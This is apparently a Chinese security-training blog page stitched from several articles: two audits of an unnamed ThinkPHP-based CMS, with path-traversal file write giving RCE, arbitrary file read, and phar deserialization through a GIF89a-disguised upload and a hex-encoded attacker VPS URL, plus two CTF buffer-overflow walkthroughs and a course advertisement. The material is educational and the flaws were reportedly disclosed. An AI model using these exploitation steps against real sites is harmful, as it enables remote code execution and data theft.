再看到第二个参数htmlspecialchars_decode(Request::param('html')也是我们可控的
所以这里就比较清晰了,我们只需要../就可以进行路径穿越,htmlspecialchars_decode也对我们写入 php 代码没有什么影响,所以我们直接 post 传参 path=../../index.php&html=<?php phpinfo();?>即可
可以看到已经成功 rce
任意文件读取
我们再顺着fileedit这个方法往下瞅瞅,发现还有一个file_get_contents,他的参数也是$rootpath,所以这里也是我们可控的,不同的是进入这个 else 分支我们用 get 传参即可
我们直接传入../../index.php,发现已经成功把index.php读取出来了
反序列化漏洞
上面两个漏洞是利用了file_get_contents和file_put_content,这两个函数都是涉及了 IO 的操作函数,也就是说可以进行操作 phar 反序列化漏洞,但是他们的路径并不是完全可控的,只是后面一小部分可控,所以这条路走不通,所以接下来的思路就是搜索有没有可以操作phar的函数
我们直接全局搜索is_dir,一个一个分析是否可以利用
这里我的运气比较好,映入眼帘的是scanFilesForTree这个方法,他的$dir是直接可控的,文章的开头说了这个 cms 是基于 thinkphp5.1 二次开发的,所以我们可以直接利用这个漏洞生成 phar 文件来进行 rce
我们首先看看能不能上传 phar 文件,在后台一处发现可以上传文件
我们先抓个包试试水,发现提示非法图片文件,应该是写了什么过滤
我们找到upload这个函数发现对图片的类型和大小进行了一些验证
public function upload($file, $fileType = 'image') { // 验证文件类型及大小 switch ($fileType) { case 'image': $result = $file->check(['ext' => $this->config['upload_image_ext'], 'size' => $this->config['upload_image_size']*1024]); if(empty($result)){ // 上传失败获取错误信息 $this->error = $file->getError(); return fal
然后尝试加了GIF89a头就可以上传了,看来多打CTF还是有用的,于是直接上传我们的 phar 文件就好了
这里要记得生成 phar 文件的时候要要加入GIF89a头来绕过,如下
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
可以看到已经成功上传了,同时记住下面那个路径
最后我们在scanFilesForTree这里触发我们的phar文件就可以了
总结
本篇的漏洞已经全部上交cnvd,这个 cms 总的来说比较适合练手,主要的切入点还是通过白盒通过寻找一些危险的函数,再想方设法的去控制它的参数变量
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID06a1-2876-4bfb-8e59-a0096299c167 (过本节的学习,了解文件下载漏洞的原理,通过代码审计掌握文件下载漏洞产生的原因以及修复方法。)
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
CTF PWN练习之环境变量继承
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天的实验和上次学习的精确覆盖变量数据有关,CTF PWN练习中的环境变量继承。这个题目有联系到环境变量参数,我们需要知道在Linux/Windows操作系统中, 每个进程都有其各自的环境变量设置。缺省情况下, 当一个进程被创建时,除了创建过程中的明确更改外,它继承了其父进程的绝大部分环境变量信息。
C语言main函数可以传递三个参数,除了argc和argv参数外,还能接受一个char**类型的envp参数。envp指向一个字符串数组,该数组存储了当前进程具体的环境变量的内容,envp的最后一个元素指向NULL,此为envp结束的标识符。
实验介绍开始
打印环境变量参数信息的示例代码(位于/home/test/3目录下的env.c):
#include <stdio.h>
int main(int argc, char** argv, char** envp)
{
int i = 0;
while (envp[i])
{
printf("envp[%2d] = %s\n", i, envp[i]);
i += 1;
}
return 0;
}
编译这段代码生成env程序,然后在命令行下执行,可以看到程序打印出了具体的环境变量参数信息:
环境变量的格式为:环境变量名=环境变量值
当父进程启动一个子进程时,子进程会继承父进程的换了变量信息。在Linux Shell下,通过export可以给Shell添加一个环境变量,此后通过Shell启动的子进程都会拥有这个环境变量。
在Shell中执行export testenv="Hello_World"之后,再执行./env,可以看到新的环境变量已经被子进程继承了。
除了通过export添加环境变量以外,我们还可以通过函数getenv、putenv、setenv等对环境变量进行操作。
看完基础知识之后,我们开始来做题,本文实验题目:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409142200001。
同样的先看题目描述 主机/home/test/3目录下有一个pwn3程序,这个程序会对进程中名为HEETIAN的环境变量的值进行处理,通过构造特定的环境变量参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。注意:如果没有设置HEETIAN这个环境变量,那么运行程序后将输出Please set the HEETIAN environment variable,之后程序自动退出。
请对pwn3程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的环境变量参数数据,使之输出成功的提示信息。
题目的考点就是需要我们构造特定的环境变量参数来对程序进行溢出攻击,但是我们溢出也是有条件的,分析一下。
先来看源码,使用cd /home/test/3切换到程序所在目录,执行cat pwn3.c即可看到源代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char** argv)
{
int modified;
char buffer[64];
char* variable;
variable = getenv("HEETIAN"); // 获取环境变量HEETIAN的值
if (variable == NULL)
{
printf("Please set the HEETIAN environment variable\n");
exit(1);
}
modified = 0;
strcpy(buffer, variable); // 调用strcpy进行字符串复制,可引发缓冲区溢出
if (modified == 0x0d0a0d0a) // 判断modified的值是否为0x0d0a0d0a
{
printf("Congratulations, you pwned it.\n");
}
else
{
printf("Please try again, you got 0x%08X\n", modified);
}
return 0;
}
程序首先通过getenv函数获取名为HEETIAN的环境变量参数,然后使用strcpy函数将其值复制到buffer缓冲区中,我们知道这样可以引发缓冲区溢出。
这里当设置超长的环境变量参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。
这只是c语言代码,我们就需要用gdb来进行调试来判断溢出的长度。执行gdb pwn3即可开始通过gdb对pwn3进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可,下面是对main函数中的汇编代码的解释(无关代码已经省略):
(gdb) disas main
Dump of assembler code for function main:
......
0x0804848d <+9>: movl $0x80485d4,(%esp)
; 调用getenv获取环境变量HEETIAN的值
0x08048494 <+16>: call 0x8048364 <getenv@plt>
; 将结果保存到variable变量,即[esp+0x5c]
0x08048499 <+21>: mov %eax,0x5c(%esp)
; 判断返回结果是否为NULL
0x0804849d <+25>: cmpl $0x0,0x5c(%esp)
0x080484a2 <+30>: jne 0x80484bc <main+56>
......
; 初始化modified变量的值为0,位于[esp+0x58]
0x080484bc <+56>: movl $0x0,0x58(%esp)
; 调用strcpy对buffer进行填充,位于[esp+0x18]
0x080484c4 <+64>: mov 0x5c(%esp),%eax
0x080484c8 <+68>: mov %eax,0x4(%esp)
0x080484cc <+72>: lea 0x18(%esp),%eax
0x080484d0 <+76>: mov %eax,(%esp)
0x080484d3 <+79>: call 0x8048384 <strcpy@plt>
; 判断modified变量的值是否为0x0d0a0d0a
0x080484d8 <+84>: cmpl $0xd0a0d0a,0x58(%esp)
......
End of assembler dump.
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x18处,而modified位于esp+0x58处,两个地址的距离为0x58 - 0x18 = 0x40,即64,刚好为buffer数组的大小。因此当环境变量HEETIAN的值的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造数据。我们只要合理控制环境变量参数的第65~68字节的内容,就可以成功发起溢出攻击了。
我们输入64个a加上'\x0a\x0d\x0a\x0d'就可以了吗?
当然不是,之前说到了环境变量,需要构造环境变量然后再来输入。
因为目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x0d0a0d0a时才通过判断,因此我们构造的数据应该为\x0a\x0d\x0a\x0d。
要是感觉连续输入64个a比较麻烦,这里有两种更简便的办法1.通过export修改环境变量前面已经介绍过通过export可以修改环境变量,执行下面的语句:
export HEETIAN=$(python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'")然后运行./pwn3就可以看到攻击效果了,如图所示:
接下来,我们来看通过python脚本动态修改环境变量。
在/home/test/3下存在一个pwn3.py的python脚本,执行cat pwn3.py可以看到源码:
import os
def pwn():
os.putenv("HEETIAN", "A"*64+"\x0a\x0d\x0a\x0d")
os.system("./pwn3")
if name == "main":
pwn()
为了排除前面的环境变量的干扰,我们先修改HEETIAN的的值为AAA,然后再执行python脚本,可以看到攻击效果,如图所示:
pwn3.py先修改HEETIAN环境变量的值,然后通过system启动pwn3程序。
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
CTF PWN之精确覆盖变量数据
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
刚开始接触pwn的朋友在做pwn练习时可能会有这样的疑问,怎么做到精确覆盖变量数据呢?
我们做pwn练习之前需要先知道:命令行参数C语言的main函数拥有两个参数,为int类型的argc参数,以及char**类型argv参数。其中argc参数的值表示命令行参数的个数,而argv则指向一个字符串数组,该数组存储了具体的命令行参数的内容。
这里就用今天的实验,给大家介绍一下!
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110113362900001(在掌握大小端字节序表示法的基础上,通过精心构造的输入数据溢出缓冲区,实现对modified变量的值进行精确覆盖,以达到修改程序执行逻辑的目的。)
看下面的例子 打印命令行参数信息的示例代码(位于/home/test/2目录下):
#include <stdio.h>
int main(int argc, char** argv)
{
int i;
for (i = 0; i < argc; ++i)
{
printf("argv[%d] = %s\n", i, argv[i]);
}
return 0;
}
注意程序本身的名字为命令行的第一个参数。编译这段代码生成test程序,然后在命令行下执行,尝试传入命令行参数,如:./test hello world cmdline,可以看到程序打印出了具体的命令行参数信息:
xargs命令Linux的xargs命令可以将输入数据当做命令行参数传给指定的程序。比如执行命令python -c "print 'AAA BBB CCC'" | xargs ./test后,输出:
python语句执行后输出AAA BBB CCC,通过管道操作作为xargs命令的输入,而xargs将其作为test程序的命令行参数,因此test程序会把这些信息打印出来。
小白:就是我们借助xargs可以把输入数据当成命令行参数输给这个程序。
大东:对的,另外还需要讲的是一个字节序 字节顺序,又称端序或尾序(英语:Endianness)。对于内存中存储的0x11223344这样一个值,从低地址往高地址方向的每一个字节来看,其内容在内存里的分布可能为0x11,0x22,0x33,0x44,也可能为0x44,0x33,0x22,0x11。
这就涉及到两种存储规则:大端格式和小端格式。示意图如下图所示:
0x11223344中的最高的字节为0x11,最低的字节为0x44,我们只要记住小端格式是“高存高,低存低”的规律,就很好的理解了。即小端格式中,高位字节存储于内存的高地址处,而低位字节存储于内存的低地址处。
Intel、AMD等系列的处理器都是小端格式的。
小白:不同的程序如果字节序不一样,我们输入的值也要不一样是这个意思吗?
大东:不错啊,越来越机智了没白教你。
小白:嘿,我们快开始实验吧。
大东:老规矩先看一下实验描述。
题目描述:
主机/home/test/2目录下有一个pwn2程序,这个程序会对传入的命令行参数进行处理,通过构造特定的命令行参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。
第一步源码审计使用cd /home/test/2切换到程序所在目录,执行cat pwn2.c即可看到源代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char** argv)
{
int modified;
char buffer[64];
if (argc == 1)
{
printf("please specify an argument\n");
exit(1);
}
modified = 0;
strcpy(buffer, argv[1]); // 引发缓冲区溢出
if (modified == 0x61626364)
{
printf("Congratulations, you pwned it.\n");
}
else
{
printf("Please try again, you got 0x%08X\n", modified);
}
return 0;
}
这源码要怎么pwn掉它呢?
我们可以尝试一个姿势,使用strcpy函数复制字符串时,并不会对目标缓冲区的长度进行检查,当源字符串的长度超过目标缓冲区的长度时会引发缓冲区溢出。这里当输入的超长的命令行参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。
这个程序有一个条件modified ==**,**那么要多少才能pwn出去呢?0x61626364
我们来继续分析,执行gdb pwn2即可开始通过gdb对pwn2进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:
下面是对main函数中的汇编代码的解释:
0x080482a0 <+0>: push %ebp
0x080482a1 <+1>: mov %esp,%**ebp**
0x080482a3 <+3>: and $0xfffffff0,%**esp**
; esp = esp - 0x60,即在栈上分配0x60)字节的空间
0x080482a6 <+6>: sub $0x60,%**esp**
; 判断命令行参数的个数是否为1
0x080482a9 <+9>: cmpl $0x1,0x8(%**ebp)**
0x080482ad <+13>: jne 0x80482c7 <main+39>
0x080482af <+15>: movl $0x80b3dac,(%**esp)**
0x080482b6 <+22>: call 0x80493c0 <puts>
0x080482bb <+27>: movl $0x1,(%**esp)**
0x080482c2 <+34>: call 0x8048e90 <exit>
; 命令参数个数不是1,说明传入了命令行参数
; modified变量位于esp + 0x5C处,将其初始化为0
0x080482c7 <+39>: movl $0x0,0x5c(%**esp)**
; 通过ebp + 0xC获取argv参数的值
0x080482cf <+47>: mov 0xc(%**ebp),%eax**
; eax = eax + 4
0x080482d2 <+50>: add $0x4,%**eax**
; 取argv[1]的值
0x080482d5 <+53>: mov (%**eax),%eax**
; 将argv[1]作为strcpy的第二个参数值
0x080482d7 <+55>: mov %eax,0x4(%**esp)**
; buffer位于esp + 0x1C处,buffer作为strcpy的第一个参数值
0x080482db <+59>: lea 0x1c(%**esp),%eax**
0x080482df <+63>: mov %eax,(%**esp)**
; 调用strcpy进行字符串复制
0x080482e2 <+66>: call 0x80525b0 <strcpy>
; 判断modified的值是否为0x61626364
0x080482e7 <+71>: cmpl $0x61626364,0x5c(%**esp)**
; 不相等则跳转并输出失败信息
0x080482ef <+79>: jne 0x80482ff <main+95>
; 输出成功提示信息
0x080482f1 <+81>: movl $0x80b3dc8,(%**esp)**
0x080482f8 <+88>: call 0x80493c0 <puts>
0x080482fd <+93>: jmp 0x8048314 <main+116>
0x080482ff <+95>: mov $0x80b3de8,%**eax**
0x08048304 <+100>: mov 0x5c(%**esp),%edx**
0x08048308 <+104>: mov %edx,0x4(%**esp)**
0x0804830c <+108>: mov %eax,(%**esp)**
0x0804830f <+111>: call 0x8049390 <printf>
0x08048314 <+116>: mov $0x0,%**eax**
0x08048319 <+121>: leave
0x0804831a <+122>: ret
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1C处,而modified位于esp+0x5C处,两个地址的距离为0x5C - 0x1C = 0x40,即64,刚好为buffer数组的大小。因此当我们输入的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造命令行参数。
下面在gdb中进行验证,在gdb中执行b * 0x080482e7命令对strcpy的下一条指令下一个断点:
在gdb中执行r命令,如下(r后面的数据为64个A以及1234):
r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234
即r命令后加上空格可以接一个命令行参数,用于传递给被调试的程序。按下Enter键程序就在断点处断下了:
在gdb中输入x $esp+0x5C,查看modified变量的值已经被修改成了0x34333231,而0x31为字符’1’的ASCII值,0x32为字符’2’的ASCII值,0x33为字符’3’的ASCII值,0x34为字符’4’的ASCII值:
使用x /4xb $esp+0x5C命令,以字节为单位查看内存中0x34333231的表示(其中/4xb用于控制输出格式,4表示4个长度单位,x表示以16进制方式显示,b表示单位为字节):
现在modified变量的值已经被修改成0x34333231了,结合我们的输入数据‘A….A1234’,1234为低地址往高地址方向,可以判断这是小端格式的表示法。
在gdb中输入c命令就可以让程序继续执行,看到输出了错误的提示信息:
现在我们只要合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。
通过上面的步骤我们已经知道,只要合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。因为目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x61626364时才通过判断,因此我们构造的数据应该为\x64\x63\x62\x61。如果你还没有退出gdb,输入q命令就可以退出gdb。下面通过python语句构造输入数据,然后通过xargs传给pwn2程序,执行命令:
python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./pwn2
看到已经成功发起了溢出攻击,程序被PWN掉啦!
其实0x61为字符a的ASCII值,因此输入如下的命令同样能达到攻击效果:
python -c "print 'A'*64+'dcba'" | xargs ./pwn2
这次的实验真的很费脑筋,分析处理了好多数据,才得到结果。
更多精彩实验,蚁景网安实验室专业为您提供,注册实战起来!
对某cms的一次审计思路
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
漏洞的审计
源头是在/src/extend/extcore/ImageCrop.php/crop这个方法里面发现有个getimagesize函数,这个函数是能够触发phar反序列化漏洞的,而这个 cms 是基于 thinkphp5.1 框架二次开发的,这个框架有个反序列化漏洞相信大家都很熟悉了,所以我们的目的就是能控制$imgData这个变量就行了
可以看到$imgData是由$this->getImgData($img);控制的,我们跟踪进去
private function getImgData($img){ if(strripos($img, 'http://')!==FALSE OR strripos($img,'https://') !==FALSE) { //站外图片 $data=file_get_contents($img); }else{ //站内图片 $file=DOC_ROOT.'/'.$img; if(is_file($file)) { $data = file_get_contents($file); }else{ return false; } } return $data; }
可以看到这里会限制只能由http://或者https://开头的参数才能获取站外的图片信息
再看看全局搜索crop这个方法看看哪里会调用他
我们在src/application/task/controller/UtilController.php/cropimage发现有个crop_image函数,我们跟踪进去
function crop_image($file, $options){ // echo $file; $imageCrop=new \extcore\ImageCrop($file, $options); return $imageCrop->crop(); }
发现这里会调用到我们上面的crop函数
这里的$file参数也就是我们传给getImgData函数的$img变量,所以这里我们看看如何去控制他,可以看到crop_image方法里面有一个$paths=explode('.',$img);,就是会根据点去分隔我们的$img参数,然后又要count($paths)==3,我们可以回想到getImgData限制了http的开头,我们想要phar反序列化的话,必须是phar://的开头,那么我们直接在vps上放置我们的phar文件的路径不就可以了
但是这里有一个问题,我们正常输入一个IP地址的话肯定是不行的,因为他的count($paths)==3,所以我们可以使用十六进制绕过的方法,所以也就限制了这种方法只能在linux下面使用,这里顺便贴一下之前写的一个转进制的脚本
<?php $ip = '127.0.0.1'; $ip = explode('.',$ip); $r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ; if($r < 0) { $r += 4294967296; } echo "十进制:"; echo $r; echo "八进制:"; echo decoct($r); echo "十六进制:"; echo dechex($r); ?>
我们在$ip处贴上自己的vps的地址,这里要注意生成的十六进制前面要加上0x
然后cacheimage函数的
$response = crop_image($paths[0].'.'.$paths[2], $args);
$paths[0].'.'.$paths[2]就是我们想要控制的参数,因为前面explode把我们的url地址分成了3份,这里把第一份和第三份拼接了起来,于是我们可以构造类似于http://vps-ip/1.1.txt的形式,这里样我们的$paths[0].'.'.$paths[2]也就成为了1.txt也就是我们可控的东西了,同时这里也明白了为什么要将vps-ip转成16进制的原因了
我们同时在vps上放置test.phar的路径,这个cms后台是可以上传jpg文件的,当然phar反序列化的话即使是jpg后缀的文件也是能够成功反序列的,这里我为了方便直接放在根目录下
到了这一步我们的思路基本就清晰了,我们测试一下$img是否能够正确的打印出来,可以手动添加一个echo $img;
我们访问一下cacheimage的路由
可以看到我们的$img变成了1.txt,getimagesize函数里面也成功接收到我们放在1.txt里面的内容
我们再cmd传参我们的命令即可看到漏洞已经成功利用
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID5504-22b1-44f6-984f-1339663ac214 (通过本节的学习,了解文件上传漏洞的原理,通过代码审计掌握文件上传漏洞产生的原因、上传绕过的方法以及修复方法。)
总结
漏洞已经上交于cnvd平台,然后这个漏洞由于十六进制绕过的问题,只能在linux下才可以成功实现,所以可以把cms放在docker里面进行测试,然后在一些小的cms里面关于phar反序列化漏洞还是比较好找的,因为一般来说后台都是能够上传jpg格式的文件,能够触发phar的函数也蛮多的
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
看了N多干货?为什么你的渗透技能还是没有提升
在调查数百位渗透测试学习人员过程中,我们发现,部分人员仍然存在以下问题,一方面渴望提高,另一方面没找到真正的目标着力点。久而久之,陷入错误的习惯中。
如果你的浏览器收藏夹里保存着各大网安学习网站,每天都登陆这些网站,基本上关于网安学习的文章“照单全收”,看完以后还觉得收获颇丰,有种如沐春风的感觉。
那么恭喜你,你可能要“废”了。
很多时候看这些文章并没有什么用,甚至可能把你变成一个只会夸夸其谈的理论家。
并不是说这些文章写的不好,而是对于一些非常有价值的文章,你需要有一个正确的“打开方式”,才能从这些文章之中汲取到“营养”。
不管是在哪个行业,新人刚入行,唯一的进阶方式就是脚踏实地地多实践,多练习、多思考,多总结。也就是所谓的正确的“打开方式”,你需要把输入的方法论与实践操作相结合,从而输出适合你自己的学习经验。
为了帮助你更好地掌握基本的渗透测试实践能力,我推荐《渗透测试实战训练营》,课程除了理论教学外,配套了对应的课后实战作业,方法论与实践操作充分结合,从而输出适合你自己的学习经验。
课程包含7 节课 + 3 个实战练习 + 7天社群服务 + 实战作业反馈 ,原价198元,限时只需要2分钱 !课程第一节课将于 3月10日(15:00)开课,最后三天,赶紧抢购吧!
报名链接:https://ke.qq.com/course/3292015?flowToken=1032537
2分钱,你不仅能了解渗透测试岗位的知识体系,掌握渗透测试的2-3个核心技能:快速入门渗透框架,深入利用目标靶机,钓鱼攻击&拓展框架。并能在最短时间内学完就实战。
除此之外,课程还包含一份100%有用的渗透测试学习常见的工具及学习资料包(足足4个G哟),涉及虚拟机安装包、漏洞扫描工具及信息收集、权限提升、密码字典学习资料等等,我们都为你整理总结好了。
01.这门课,你将学会什么?
一、正确看待渗透测试的职业成长和发展
当你想快速进入一个行业的时候,第一步不是直接开始学习,而是梳理这个行业的知识体系,或者你这个行业所需要的掌握的必备能力,然后一步一步进行拆解。
当你拆解成各个能力模块的时候,你的执行力会提高,因为你知道你需要每天做什么。
大多数事情,包括吸纳新知识:做的时候会面临压力、困难,但当你到达一定阶段,并获得一定成果,从中收获到的正反馈、胜任感。这就是无价的。
二、针对性实战训练
了解整体的学习路径后,我们有针对性的选择了3个核心技能带大家“实战训练”。
我们知道,任何职场上的能力,都需要通过实操才能确认是否真正掌握,而渗透测试,实操技能要求比其他岗位更强。
为了让你更好的掌握课程中的知识,我们特别在蚁景网安实验室设计了3个靶场实战作业,让你学完就练,练完就能上手,及时检验所学知识,查缺补漏,详细安排如下:
报名链接:https://ke.qq.com/course/3292015?flowToken=1032537
02.课程配套哪些服务?
除了优质的课程内容和实操作业
我们还提供7天高质量班级服务,专业的班主任会在班级群里提供干货分享 + 答疑服务+作业催收,学员完成实战作业后,老师定时讲解作业重点、难点,确保学员真正掌握所学知识!(全勤到课且按时完成靶场作业的有优秀学员奖励哟!)
另外,班主任还会提供全程督学服务,在督促你按时到课的同时,帮你做业务诊断+就业推荐绿色通道(1v1免费推荐面试)。
03.这门课适合谁?
首先,如果你是信息安全专业在校学生,想通过学习从事安全相关工作,那么不要犹豫,这门课程是为你量身定制的,它非常适合你,因为课程配套了高强度的靶场实操训练,补足你在日常学习过程中实操经验不足等问题!
其次,这门课程也适合对黑客渗透技术感兴趣,却不知道怎么入门的同学——可能你对黑客这个群体的印象,只是局限于:是一群玩计算机很厉害的人,能通过电脑一顿操作就拿下一个网站,拿下一个服务器的权限。但是可能并不知道黑客是通过什么方法技巧来达到这个效果的,那么学完这门课,你将正式进入黑客的世界。
最后,未来的互联网行业中一定需要更多的复合型人才,所以,如果你是做功能测试的,做运维的、做开发的更应该好好学习这个课程,在你们的日常工作中,可能会经常会碰到服务器被攻击,收到各种异常攻击告警,但是却因为不了解黑客攻击技术,而无法定位黑客攻击路径并阻止攻击行为。所以如果你想你的职业再上一个台阶,安全是你必不可少的一个技能!
以上,就是这样一门包含诸多干货内容++资料包+实操作业+ 1 V 1 服务的课程。
不要 999 ,也不要 99 ,只要 2 分钱(收取2分钱是为了方便提供录播,相当于免费)!
本课程第一节课即将于3月10日(星期三) 15:00开课,赶快长按识别下方图片中的二维码报名吧!
报名链接:https://ke.qq.com/course/3292015?flowToken=1032537
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

